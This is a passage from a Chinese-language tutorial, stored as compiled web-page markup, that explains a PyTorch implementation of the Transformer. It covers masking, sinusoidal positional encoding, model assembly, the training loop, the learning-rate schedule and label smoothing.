\u81ea\u7f16\u7801\u8bed\u8a00\u6a21\u578b"}),"\u3001",(0,s.jsx)(e.a,{href:"https://www.cnblogs.com/sandwichnlp/p/11947627.html#%E9%A2%84%E8%AE%AD%E7%BB%83%E4%BB%BB%E5%8A%A1%E7%AE%80%E4%BB%8B",children:"\u9884\u8bad\u7ec3\u8bed\u8a00\u6a21\u578b\u6574\u7406"}),"\uff1b\u8bba\u6587\uff1a",(0,s.jsx)(e.a,{href:"http://jcip.cipsc.org.cn/CN/abstract/abstract3187.shtml",children:"\u57fa\u4e8e\u8bed\u8a00\u6a21\u578b\u7684\u9884\u8bad\u7ec3\u6280\u672f\u7814\u7a76\u7efc\u8ff0"}),"\u7b49\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u56e0\u6b64\uff0c\u5728 Transformer \u4e2d\uff0c\u6211\u4eec\u9700\u8981\u5efa\u7acb\u4e00\u4e2a mask \u51fd\u6570\uff0c\u53ef\u4ee5\u6839\u636e\u5f53\u4e0b\u9884\u6d4b\u7684\u65f6\u95f4\u9636\u6bb5\u5bf9\u8f93\u5165\u8bed\u6599\u8fdb\u884c mask\uff0c\u88ab mask \u7684\u4fe1\u606f\u5c31\u4e0d\u4f1a\u88ab\u6a21\u578b\u5f97\u77e5\uff0c\u4ece\u800c\u4fdd\u8bc1\u4e86\u6a21\u578b\u53ea\u4f7f\u7528\u5386\u53f2\u4fe1\u606f\u8fdb\u884c\u9884\u6d4b\u3002mask \u7684\u5b9e\u73b0\u65b9\u6cd5\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"def subsequent_mask(size):\n \"Mask out subsequent positions.\"\n attn_shape = (1, size, size)\n # \u6ce8\u610f\u529b\u8bed\u6599\u7684\u5f62\u72b6\n subsequent_mask = torch.triu(torch.ones(attn_shape), diagonal=1).type(\n torch.uint8\n )\n # triu\u8fd4\u56de\u4e00\u4e2a\u4e0a\u4e09\u89d2\u77e9\u9635\uff0cdiagonal=1\u63a7\u5236\u4e0d\u4fdd\u7559\u4e3b\u5bf9\u89d2\u7ebf\n '''\n \u4e00\u4e2a\u4f8b\u5b50\uff1a\n a = [[1,2,3],\n [4,5,6],\n [7,8,9]\n ]\n triu(a, diagonal=1)\u8fd4\u56de\uff1a\n [[0,2,3],\n [0,0,6],\n [0,0,0]]\n \u53ef\u89c1\u901a\u8fc7\u751f\u6210\u8fd9\u6837\u4e00\u4e2a\u4e0a\u4e09\u89d2\u77e9\u9635\uff0c\u518d\u53d6\u5176\u4e2d\u4e3a0\u7684\u4f4d\u7f6e\uff0c\u53ef\u4ee5\u5b9e\u73b0\u6211\u4eec\u6240\u9700\u7684\u672a\u6765\u4fe1\u606f\u906e\u853d\n '''\n return subsequent_mask == 0\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u4f4d\u7f6e\u7f16\u7801",children:"\u4f4d\u7f6e\u7f16\u7801"}),"\n",(0,s.jsx)(e.p,{children:"\u200bAttention \u673a\u5236\u53ef\u4ee5\u5b9e\u73b0\u826f\u597d\u7684\u5e76\u884c\u8ba1\u7b97\uff0c\u4f46\u540c\u65f6\uff0c\u5176\u6ce8\u610f\u529b\u8ba1\u7b97\u7684\u65b9\u5f0f\u4e5f\u5bfc\u81f4\u5e8f\u5217\u4e2d\u76f8\u5bf9\u4f4d\u7f6e\u7684\u4e22\u5931\u3002\u5728 RNN\u3001LSTM \u4e2d\uff0c\u8f93\u5165\u5e8f\u5217\u4f1a\u6cbf\u7740\u8bed\u53e5\u672c\u8eab\u7684\u987a\u5e8f\u88ab\u4f9d\u6b21\u9012\u5f52\u5904\u7406\uff0c\u56e0\u6b64\u8f93\u5165\u5e8f\u5217\u7684\u987a\u5e8f\u63d0\u4f9b\u4e86\u6781\u5176\u91cd\u8981\u7684\u4fe1\u606f\uff0c\u8fd9\u4e5f\u548c\u81ea\u7136\u8bed\u8a00\u7684\u672c\u8eab\u7279\u6027\u975e\u5e38\u543b\u5408\u3002\u4f46\u4ece\u4e0a\u6587\u5bf9 Attention \u673a\u5236\u7684\u5206\u6790\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u5728 Attention \u673a\u5236\u7684\u8ba1\u7b97\u8fc7\u7a0b\u4e2d\uff0c\u5bf9\u4e8e\u5e8f\u5217\u4e2d\u7684\u6bcf\u4e00\u4e2a token\uff0c\u5176\u4ed6\u5404\u4e2a\u4f4d\u7f6e\u5bf9\u5176\u6765\u8bf4\u90fd\u662f\u5e73\u7b49\u7684\uff0c\u5373\u201c\u6211\u559c\u6b22\u4f60\u201d\u548c\u201c\u4f60\u559c\u6b22\u6211\u201d\u5728 Attention \u673a\u5236\u770b\u6765\u662f\u5b8c\u5168\u76f8\u540c\u7684\uff0c\u4f46\u65e0\u7591\u8fd9\u662f Attention \u673a\u5236\u5b58\u5728\u7684\u4e00\u4e2a\u5de8\u5927\u95ee\u9898\u3002\u56e0\u6b64\uff0c\u4e3a\u4f7f\u7528\u5e8f\u5217\u987a\u5e8f\u4fe1\u606f\uff0c\u4fdd\u7559\u5e8f\u5217\u4e2d\u7684\u76f8\u5bf9\u4f4d\u7f6e\u4fe1\u606f\uff0cTransformer \u91c7\u7528\u4e86\u4f4d\u7f6e\u7f16\u7801\u673a\u5236\uff0c\u8be5\u673a\u5236\u4e5f\u5728\u4e4b\u540e\u88ab\u591a\u79cd\u6a21\u578b\u6cbf\u7528\u3002"}),"\n",(0,s.jsx)(e.p,{children:'\u200b\u4f4d\u7f6e\u7f16\u7801\uff0c\u5373\u6839\u636e\u5e8f\u5217\u4e2d token \u7684\u76f8\u5bf9\u4f4d\u7f6e\u5bf9\u5176\u8fdb\u884c\u7f16\u7801\uff0c\u518d\u5c06\u4f4d\u7f6e\u7f16\u7801\u52a0\u5165\u8bcd\u5411\u91cf\u7f16\u7801\u4e2d\u3002\u4f4d\u7f6e\u7f16\u7801\u7684\u65b9\u5f0f\u6709\u5f88\u591a\uff0cTransformer \u4f7f\u7528\u4e86\u6b63\u4f59\u5f26\u51fd\u6570\u6765\u8fdb\u884c\u4f4d\u7f6e\u7f16\u7801\uff0c\u5176\u7f16\u7801\u65b9\u5f0f\u4e3a\uff1a\n$$\nPE(pos, 2i) = sin(pos/10000^{2i/d_{model}})\\\nPE(pos, 2i+1) = cos(pos/10000^{2i/d_{model}})\n$$\n\u200b\u4e0a\u5f0f\u4e2d\uff0cpos \u4e3a token \u5728\u53e5\u5b50\u4e2d\u7684\u4f4d\u7f6e\uff0c2i \u548c 2i+1 \u5219\u662f\u6307\u793a\u4e86 token \u662f\u5947\u6570\u4f4d\u7f6e\u8fd8\u662f\u5076\u6570\u4f4d\u7f6e\uff0c\u4ece\u4e0a\u5f0f\u4e2d\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\u5bf9\u4e8e\u5947\u6570\u4f4d\u7f6e\u7684 token \u548c\u5076\u6570\u4f4d\u7f6e\u7684 token\uff0cTransformer \u91c7\u7528\u4e86\u4e0d\u540c\u7684\u51fd\u6570\u8fdb\u884c\u7f16\u7801\u3002\u6211\u4eec\u4ee5\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u6765\u8bf4\u660e\u4f4d\u7f6e\u7f16\u7801\u7684\u8ba1\u7b97\u8fc7\u7a0b\uff1a\u5047\u5982\u6211\u4eec\u8f93\u5165\u7684\u662f\u4e00\u4e2a\u957f\u5ea6\u4e3a 4 \u7684\u53e5\u5b50"I like to code"\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u4e0b\u9762\u7684\u8bcd\u5411\u91cf\u77e9\u9635$\\rm x$\uff0c\u5176\u4e2d\u6bcf\u4e00\u884c\u4ee3\u8868\u7684\u5c31\u662f\u4e00\u4e2a\u8bcd\u5411\u91cf\uff0c$\\rm x_0=[0.1,0.2,0.3,0.4]$\u5bf9\u5e94\u7684\u5c31\u662f\u201cI\u201d\u7684\u8bcd\u5411\u91cf\uff0c\u5b83\u7684pos\u5c31\u662f\u4e3a0\uff0c\u4ee5\u6b64\u7c7b\u63a8\uff0c\u7b2c\u4e8c\u884c\u4ee3\u8868\u7684\u662f\u201clike\u201d\u7684\u8bcd\u5411\u91cf\uff0c\u5b83\u7684pos\u5c31\u662f1\uff1a\n$$\n\\rm x = \\begin{bmatrix} 0.1 & 0.2 & 0.3 & 0.4 \\ 0.2 & 0.3 & 0.4 & 0.5 \\ 0.3 & 0.4 & 0.5 & 0.6 \\ 0.4 & 0.5 & 0.6 & 0.7 \\end{bmatrix}\n$$\n\u200b\u5219\u7ecf\u8fc7\u4f4d\u7f6e\u7f16\u7801\u540e\u7684\u8bcd\u5411\u91cf\u4e3a\uff1a\n$$\n\\rm x_{PE} = \\begin{bmatrix} 0.1 & 0.2 & 0.3 & 0.4 \\ 0.2 & 0.3 & 0.4 & 0.5 \\ 0.3 & 0.4 & 0.5 & 0.6 \\ 0.4 & 0.5 & 0.6 & 0.7 \\end{bmatrix} + \\begin{bmatrix} \\sin(\\frac{0}{10000^0}) & \\cos(\\frac{0}{10000^0}) & \\sin(\\frac{0}{10000^{2/4}}) & \\cos(\\frac{0}{10000^{2/4}}) \\ \\sin(\\frac{1}{10000^0}) & \\cos(\\frac{1}{10000^0}) & \\sin(\\frac{1}{10000^{2/4}}) & \\cos(\\frac{1}{10000^{2/4}}) \\ \\sin(\\frac{2}{10000^0}) & \\cos(\\frac{2}{10000^0}) & \\sin(\\frac{2}{10000^{2/4}}) & \\cos(\\frac{2}{10000^{2/4}}) \\ \\sin(\\frac{3}{10000^0}) & \\cos(\\frac{3}{10000^0}) & \\sin(\\frac{3}{10000^{2/4}}) & \\cos(\\frac{3}{10000^{2/4}}) \\end{bmatrix} = \\begin{bmatrix} 0.1 & 1.2 & 0.3 & 1.4 \\ 1.041 & 0.84 & 0.41 & 1.49 \\ 1.209 & -0.016 & 0.52 & 1.59 \\ 0.541 & -0.489 & 0.895 & 1.655 \\end{bmatrix}\n$$\n\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u7684\u4ee3\u7801\u6765\u83b7\u53d6\u4e0a\u8ff0\u4f8b\u5b50\u7684\u4f4d\u7f6e\u7f16\u7801\uff1a'}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"import numpy as np\nimport matplotlib.pyplot as plt\ndef PositionEncoding(seq_len, d_model, n=10000):\n P = np.zeros((seq_len, d_model))\n for k in range(seq_len):\n for i in np.arange(int(d_model/2)):\n denominator = np.power(n, 2*i/d_model)\n P[k, 2*i] = np.sin(k/denominator)\n P[k, 2*i+1] = np.cos(k/denominator)\n return P\n\nP = PositionEncoding(seq_len=4, d_model=4, n=100)\nprint(P)\n"})}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"[[ 0. 1. 0. 1. ]\n [ 0.84147098 0.54030231 0.09983342 0.99500417]\n [ 0.90929743 -0.41614684 0.19866933 0.98006658]\n [ 0.14112001 -0.9899925 0.29552021 0.95533649]]\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u8fd9\u6837\u7684\u4f4d\u7f6e\u7f16\u7801\u4e3b\u8981\u6709\u4e24\u4e2a\u597d\u5904\uff1a"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"\u4f7f PE \u80fd\u591f\u9002\u5e94\u6bd4\u8bad\u7ec3\u96c6\u91cc\u9762\u6240\u6709\u53e5\u5b50\u66f4\u957f\u7684\u53e5\u5b50\uff0c\u5047\u8bbe\u8bad\u7ec3\u96c6\u91cc\u9762\u6700\u957f\u7684\u53e5\u5b50\u662f\u6709 20 \u4e2a\u5355\u8bcd\uff0c\u7a81\u7136\u6765\u4e86\u4e00\u4e2a\u957f\u5ea6\u4e3a 21 \u7684\u53e5\u5b50\uff0c\u5219\u4f7f\u7528\u516c\u5f0f\u8ba1\u7b97\u7684\u65b9\u6cd5\u53ef\u4ee5\u8ba1\u7b97\u51fa\u7b2c 21 \u4f4d\u7684 Embedding\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u53ef\u4ee5\u8ba9\u6a21\u578b\u5bb9\u6613\u5730\u8ba1\u7b97\u51fa\u76f8\u5bf9\u4f4d\u7f6e\uff0c\u5bf9\u4e8e\u56fa\u5b9a\u957f\u5ea6\u7684\u95f4\u8ddd k\uff0cPE(pos+k) \u53ef\u4ee5\u7528 PE(pos) \u8ba1\u7b97\u5f97\u5230\u3002\u56e0\u4e3a Sin(A+B) = Sin(A)Cos(B) + Cos(A)Sin(B), Cos(A+B) = Cos(A)Cos(B) - Sin(A)Sin(B)\u3002"}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u5173\u4e8e\u4f4d\u7f6e\u7f16\u7801\uff0c\u6709\u8bb8\u591a\u5b66\u8005\u4ece\u6570\u5b66\u7684\u89d2\u5ea6\u8bc1\u660e\u4e86\u8be5\u7f16\u7801\u65b9\u5f0f\u76f8\u5bf9\u4e8e\u5176\u4ed6\u66f4\u7b80\u5355\u3001\u76f4\u89c2\u7684\u7f16\u7801\u65b9\u5f0f\u7684\u4f18\u8d8a\u6027\u4e0e\u5fc5\u8981\u6027\uff0c\u7531\u4e8e\u672c\u6587\u91cd\u70b9\u5728\u4e8e\u4ee3\u7801\u7684\u89e3\u6790\uff0c\u6b64\u5904\u4e0d\u518d\u8d58\u8ff0\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u67e5\u9605\u76f8\u5173\u8d44\u6599\uff0c\u5982\u535a\u5ba2\uff1a",(0,s.jsx)(e.a,{href:"https://kazemnejad.com/blog/transformer_architecture_positional_encoding/",children:"Transformer Architecture: The Positional Encoding"}),"\u3001",(0,s.jsx)(e.a,{href:"https://machinelearningmastery.com/a-gentle-introduction-to-positional-encoding-in-transformer-models-part-1/",children:"A Gentle Introduction to Positional Encoding in Transformer Models"})," \u7b49\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u7f16\u7801\u7ed3\u679c\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_position_embedding.png",alt:"image-20230129201913077",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f4d\u7f6e\u7f16\u7801\u7684\u5b9e\u73b0\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class PositionalEncoding(nn.Module):\n\n def __init__(self, d_model, dropout, max_len=5000):\n super(PositionalEncoding, self).__init__()\n self.dropout = nn.Dropout(p=dropout)\n\n # Compute the positional encodings once in log space.\n pe = torch.zeros(max_len, d_model)\n # \u4f4d\u7f6e\u77e9\u9635\uff0c\u521d\u59cb\u5316\u4e3a0\n position = torch.arange(0, max_len).unsqueeze(1)\n # \u516c\u5f0f\u4e2d\u7684POS\n div_term = torch.exp(\n torch.arange(0, d_model, 2) * -(math.log(10000.0) / d_model)\n )\n # \u6b64\u5904\u5bf9\u516c\u5f0f\u4e2d\u7684\u6307\u6570\u8ba1\u7b97\u53d6\u4e86\u4e2a\u5bf9\u6570\n pe[:, 0::2] = torch.sin(position * div_term)\n pe[:, 1::2] = torch.cos(position * div_term)\n # \u57fa\u4e8e\u516c\u5f0f\u8ba1\u7b97\u4f4d\u7f6e\u7f16\u7801\n pe = pe.unsqueeze(0)\n self.register_buffer("pe", pe)\n # \u5b9a\u4e49\u4e00\u7ec4\u8bad\u7ec3\u4e2d\u4e0d\u4f1a\u6539\u53d8\u7684\u53c2\u6570pe\n\n def forward(self, x):\n x = x + self.pe[:, : x.size(1)].requires_grad_(False)\n # \u5411\u8bcd\u5411\u91cf\u4e2d\u52a0\u5165\u4f4d\u7f6e\u7f16\u7801\n return self.dropout(x)\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u6700\u7ec8\u5efa\u6a21",children:"\u6700\u7ec8\u5efa\u6a21"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728\u5b8c\u6210\u4e0a\u8ff0\u5b9e\u73b0\u540e\uff0c\u518d\u5c06\u5176\u5404\u4e2a\u7ec4\u4ef6\u7ec4\u5408\u8d77\u6765\u5373\u53ef\uff0c\u6b64\u5904\u4f7f\u7528\u4e00\u4e2a\u51fd\u6570\u5efa\u7acb\u5b8c\u6574\u6a21\u578b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'def make_model(\n src_vocab, tgt_vocab, N=6, d_model=512, d_ff=2048, h=8, dropout=0.1\n):\n "Helper: Construct a model from hyperparameters."\n c = copy.deepcopy\n attn = MultiHeadedAttention(h, d_model)\n # \u591a\u5934\u6ce8\u610f\u529b\u5c42\n ff = PositionwiseFeedForward(d_model, d_ff, dropout)\n # \u524d\u9988\u795e\u7ecf\u7f51\u7edc\u5c42\n position = PositionalEncoding(d_model, dropout)\n # \u4f4d\u7f6e\u7f16\u7801\u5c42\n model = EncoderDecoder(\n Encoder(EncoderLayer(d_model, c(attn), c(ff), dropout), N),\n # \u7f16\u7801\u5668\n Decoder(DecoderLayer(d_model, c(attn), c(attn), c(ff), dropout), N),\n # \u89e3\u7801\u5668\uff0c\u7b2c\u4e00\u4e2aattn\u4e3a\u81ea\u6ce8\u610f\u529b\u5c42\uff0c\u7b2c\u4e8c\u4e2aattn\u4e3a\u52a0\u5165\u7f16\u7801\u5668\u8f93\u51fa\u7684\u6ce8\u610f\u529b\u5c42\n nn.Sequential(Embeddings(d_model, src_vocab), c(position)),\n # \u8f93\u5165\u8bed\u6599\u7f16\u7801\u5c42\n nn.Sequential(Embeddings(d_model, tgt_vocab), c(position)),\n # \u8f93\u51fa\u8bed\u6599\u7f16\u7801\u5c42\n Generator(d_model, tgt_vocab),\n # \u5206\u7c7b\u5c42\n )\n\n # This was important from their code.\n # Initialize parameters with Glorot / fan_avg.\n for p in model.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n # \u521d\u59cb\u5316\u53c2\u6570\n return model\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u8bad\u7ec3",children:"\u8bad\u7ec3"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u57fa\u4e8e Pytorch \u5b9e\u73b0\u7684 Transformer \u7684\u8bad\u7ec3\u5927\u81f4\u6cbf\u7528\u4e86 Pytorch \u7684\u6846\u67b6\uff0c\u6574\u4f53\u6d41\u7a0b\u540c\u4f7f\u7528 Pytorch \u5efa\u7acb\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u7684\u6d41\u7a0b\u5927\u81f4\u76f8\u540c\uff0c\u53ea\u4e0d\u8fc7\u5b9e\u73b0\u4e86\u4e00\u4e9b\u66f4\u5e95\u5c42\u7684\u7ec6\u8282\u81ea\u5b9a\u4e49\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"traning-loop",children:"Traning Loop"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f5c\u8005\u5e76\u6ca1\u6709\u76f4\u63a5\u4f7f\u7528 Pytorch \u63d0\u4f9b\u7684\u8bad\u7ec3\u51fd\u6570\uff0c\u800c\u662f\u81ea\u5b9a\u4e49\u4e86\u4e00\u4e2a\u7528\u4e8e\u8bb0\u5f55\u8bad\u7ec3\u8fc7\u7a0b\u7684\u7c7b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class TrainState:\n """Track number of steps, examples, and tokens processed"""\n\n step: int = 0 # Steps in the current epoch\n accum_step: int = 0 # Number of gradient accumulation steps\n samples: int = 0 # total # of examples used\n tokens: int = 0 # total # of tokens processed\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u63a5\u7740\uff0c\u57fa\u4e8e\u8be5\u7c7b\u7684\u5b9e\u73b0\u5b9a\u4e49\u4e86\u8fd0\u884c\u51fd\u6570\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'def run_epoch(\n data_iter,# \u6570\u636e\u96c6\n model,# \u6a21\u578b\n loss_compute,# \u635f\u5931\u8ba1\u7b97\u51fd\u6570\n optimizer,# \u4f18\u5316\u5668\n scheduler,# \u8c03\u5ea6\u5668\n mode="train",# \u6a21\u5f0f\uff0c\u8bad\u7ec3\u6216\u6d4b\u8bd5\n accum_iter=1,# \u8fdb\u884c\u4f18\u5316\u7684\u8f6e\u6570\n train_state=TrainState(),\n):\n """Train a single epoch"""\n start = time.time()\n total_tokens = 0\n total_loss = 0\n tokens = 0\n n_accum = 0\n for i, batch in enumerate(data_iter):\n out = model.forward(\n batch.src, batch.tgt, batch.src_mask, batch.tgt_mask\n )# \u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\n loss, loss_node = loss_compute(out, batch.tgt_y, batch.ntokens)\n # \u8ba1\u7b97\u5f53\u4e0b\u7684\u6a21\u578b\u635f\u5931\n # loss_node = loss_node / accum_iter\n if mode == "train" or mode == "train+log":\n loss_node.backward()\n # \u8fd4\u4e61\u4f20\u64ad\n train_state.step += 1\n train_state.samples += batch.src.shape[0]\n train_state.tokens += batch.ntokens\n if i % accum_iter == 0:\n # \u6bcf\u9694 accum_iter \u8f6e\u4f18\u5316\u4e00\u6b21\n optimizer.step()\n optimizer.zero_grad(set_to_none=True)\n n_accum += 1\n train_state.accum_step += 1\n scheduler.step()\n\n total_loss += loss\n total_tokens += batch.ntokens\n tokens += batch.ntokens\n if i % 40 == 1 and (mode == "train" or mode == "train+log"):\n lr = optimizer.param_groups[0]["lr"]\n elapsed = time.time() - start\n print(\n (\n "Epoch Step: %6d | Accumulation Step: %3d | Loss: %6.2f "\n + "| Tokens / Sec: %7.1f | Learning Rate: %6.1e"\n )\n % (i, n_accum, loss / batch.ntokens, tokens / elapsed, lr)\n )\n start = time.time()\n tokens = 0\n del loss\n del loss_node\n return total_loss / total_tokens, train_state\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u4f18\u5316\u5668",children:"\u4f18\u5316\u5668"}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u5728 Transformer \u4e2d\uff0c\u4f7f\u7528\u4e86 Adam \u4f18\u5316\u5668\uff0c\u8be5\u4f18\u5316\u5668\u5b66\u4e60\u7387\u7684\u8ba1\u7b97\u57fa\u4e8e\u4e0b\u5f0f\uff1a\n$$\n\\rm learning rate=d^{-0.5}_{model} * min(step_num^{-0.5}, step_num * warmup_steps^{-1.5})\n$$\n\u200b\u4e3a\u4f55\u9009\u62e9\u8be5\u4f18\u5316\u5668\uff0c\u4ee5\u53ca\u8be5\u4f18\u5316\u5668\u6709\u4ec0\u4e48\u4f18\u52bf\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u67e5\u9605\u76f8\u5173\u8d44\u6599\u5982\uff1a",(0,s.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/90169812",children:"\u3010Adam\u3011\u4f18\u5316\u7b97\u6cd5\u6d45\u6790"}),"\u6765\u6df1\u5165\u63a2\u7a76\u5176\u5185\u90e8\u6570\u5b66\u539f\u7406\uff0c\u6b64\u5904\u4e0d\u518d\u8d58\u8ff0\u3002\u57fa\u4e8e\u4e0a\u5f0f\uff0c\u5176\u4f18\u5316\u5668\u5b9e\u73b0\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'def rate(step, model_size, factor, warmup):\n """\n we have to default the step to 1 for LambdaLR function\n to avoid zero raising to negative power.\n """\n if step == 0:\n step = 1\n return factor * (\n model_size ** (-0.5) * min(step ** (-0.5), step * warmup ** (-1.5))\n )\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200bPytorch \u4e5f\u63d0\u4f9b\u4e86\u5404\u79cd\u4f18\u5316\u5668\u7684\u8c03\u7528 API\uff0c\u4e5f\u5305\u62ec Adam\uff0c\u5728\u5b9e\u9645\u4f7f\u7528\u4e2d\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"\u6b63\u5219\u5316",children:"\u6b63\u5219\u5316"}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\uff0c\u4f5c\u8005\u4f7f\u7528\u4e86\u6807\u7b7e\u5e73\u6ed1\u6765\u5b9e\u73b0\u6b63\u5219\u5316\uff0c\u4ece\u800c\u63d0\u9ad8\u6a21\u578b\u9884\u6d4b\u7684\u51c6\u786e\u7387\u3002\u5177\u4f53\u7684\uff0c\u4f7f\u7528\u4e86 KL \u6563\u5ea6\u6765\u8ba1\u7b97\u6807\u7b7e\u5e73\u6ed1\uff0c\u6b64\u5904\u540c\u6837\u4e0d\u518d\u8d58\u8ff0\u6807\u7b7e\u5e73\u6ed1\u3001KL \u6563\u5ea6\u7684\u539f\u7406\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u53c2\u9605\u4e0b\u5217\u535a\u5ba2\uff1a",(0,s.jsx)(e.a,{href:"https://blog.csdn.net/Roaddd/article/details/114761023",children:"\u3010\u6b63\u5219\u5316\u3011Label Smoothing\u8be6\u89e3"}),"\u3001",(0,s.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/100676922",children:"Kullback-Leibler(KL)\u6563\u5ea6\u4ecb\u7ecd"}),"\u3002\u6807\u7b7e\u5e73\u6ed1\u7684\u4ee3\u7801\u5b9e\u73b0\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class LabelSmoothing(nn.Module):\n "Implement label smoothing."\n\n def __init__(self, size, padding_idx, smoothing=0.0):\n super(LabelSmoothing, self).__init__()\n self.criterion = nn.KLDivLoss(reduction="sum")# \u4f7f\u7528 KL \u6563\u5ea6\u8ba1\u7b97\n self.padding_idx = padding_idx # \u906e\u63a9\u90e8\u5206index\n self.confidence = 1.0 - smoothing\n self.smoothing = smoothing\n self.size = size\n self.true_dist = None\n\n def forward(self, x, target):\n assert x.size(1) == self.size\n true_dist = x.data.clone()\n true_dist.fill_(self.smoothing / (self.size - 2))\n true_dist.scatter_(1, target.data.unsqueeze(1), self.confidence)\n true_dist[:, self.padding_idx] = 0\n mask = torch.nonzero(target.data == self.padding_idx)\n if mask.dim() > 0:\n true_dist.index_fill_(0, mask.squeeze(), 0.0)\n self.true_dist = true_dist\n return self.criterion(x, true_dist.clone().detach())\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,s.jsx)(e.h3,{id:"\u4f18\u70b9",children:"\u4f18\u70b9"}),"\n",(0,s.jsx)(e.p,{children:"\u200bTransformer \u4f5c\u4e3a NLP \u53d1\u5c55\u53f2\u4e0a\u91cc\u7a0b\u7891\u7684\u6a21\u578b\uff0c\u662f\u5177\u6709\u8f83\u5927\u521b\u65b0\u6027\u548c\u6307\u5bfc\u6027\u7684\u3002\u5176\u521b\u9020\u6027\u5730\u629b\u5f03\u4e86\u6cbf\u7528\u4e86\u51e0\u5341\u5e74\u7684 CNN\u3001RNN \u67b6\u6784\uff0c\u5b8c\u5168\u4f7f\u7528 Attention \u673a\u5236\u6765\u642d\u5efa\u7f51\u7edc\u5e76\u53d6\u5f97\u4e86\u826f\u597d\u7684\u6548\u679c\uff0c\u5e2e\u52a9 Attention \u673a\u5236\u7ad9\u4e0a\u4e86\u65f6\u4ee3\u7684\u821e\u53f0\u3002\u800c\u8bba\u53ca\u6a21\u578b\u672c\u8eab\uff0cAttention \u673a\u5236\u7684\u4f7f\u7528\u4f7f\u5176\u80fd\u591f\u6709\u6548\u6355\u6349\u957f\u8ddd\u79bb\u76f8\u5173\u6027\uff0c\u89e3\u51b3\u4e86 NLP \u9886\u57df\u68d8\u624b\u7684\u957f\u8ddd\u4f9d\u8d56\u95ee\u9898\uff0c\u540c\u65f6\uff0c\u629b\u5f03\u4e86 RNN \u67b6\u6784\u4f7f\u5176\u80fd\u591f\u5145\u5206\u5b9e\u73b0\u5e76\u884c\u5316\uff0c\u63d0\u5347\u4e86\u6a21\u578b\u8ba1\u7b97\u80fd\u529b\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"\u7f3a\u70b9",children:"\u7f3a\u70b9"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4e0d\u53ef\u5426\u8ba4\uff0cTransformer \u4e5f\u5b58\u5728\u8bf8\u591a\u7f3a\u9677\u3002\u6700\u660e\u663e\u7684\u4e00\u70b9\u662f\uff0c\u63d0\u51fa\u8be5\u6a21\u578b\u7684\u8bba\u6587\u540d\u4e3a\u300aAttention Is All You Need\u300b\uff0c\u4f46\u4e8b\u5b9e\u4e0a\u6211\u4eec\u771f\u7684\u4ec5\u4ec5\u53ea\u9700\u8981 Attention \u5417\uff1f\u7c97\u66b4\u7684\u629b\u5f03 CNN \u4e0e RNN \u867d\u7136\u975e\u5e38\u70ab\u6280\uff0c\u4f46\u4e5f\u4f7f\u6a21\u578b\u4e27\u5931\u4e86\u6355\u6349\u5c40\u90e8\u7279\u5f81\u7684\u80fd\u529b\uff0cRNN + CNN + Attention \u4e5f\u8bb8\u80fd\u591f\u5e26\u6765\u66f4\u597d\u7684\u6548\u679c\u3002\u5176\u6b21\uff0cAttention \u673a\u5236\u5931\u53bb\u4e86\u4f4d\u7f6e\u4fe1\u606f\uff0c\u867d\u7136 Transformer \u4f7f\u7528\u4e86 Positional Encoding 